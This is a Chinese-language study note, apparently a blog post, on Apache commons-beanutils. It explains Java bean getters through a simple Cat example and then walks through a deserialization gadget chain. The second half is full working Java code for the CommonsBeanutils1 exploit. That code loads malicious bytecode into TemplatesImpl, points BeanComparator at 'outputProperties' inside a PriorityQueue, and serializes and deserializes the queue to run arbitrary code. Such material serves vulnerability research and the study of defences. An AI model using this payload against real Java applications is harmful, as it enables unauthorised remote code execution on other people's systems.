commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。
先学习一下java bean,在fastjson中有利用
1、所有属性为private
2、提供默认构造方法
3、提供getter和setter
4、实现serializable接口
我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property)。例如,name属性:
-
对应的读方法是String getName()
-
对应的写方法是setName(String)
只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:
-
对应的读方法是int getAge()
-
无对应的写方法setAge(int)
举个简单的例子:
首先新建一个Cat.java
final public class Cat {
private String name = "catalina";
public String getName() {
System.out.println("this is the Get Method");
return name;
}
public void setName(String name) {
System.out.println("this is the Set Method");
this.name = name;
}
}
test2.java
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class test2 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Cat(), "name"));
}
}
发现会调用对应的getName方法。
BeanComparator
BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。
BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。
我们跟进看一下,发现这里会使用PropertyUtils的getProperty方法
然后跟进并查看这个方法,PropertyUtils.getProperty(Object bean, String name) 函数这个方法是获取bean中名为name的属性。在获取name属性的过程中会调用getXXX的方法,这种调用特性给构造利用链提供了新的思路。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class beansutil {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "zyer");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "outputProperties");
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = obj;
objects[1] = obj;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}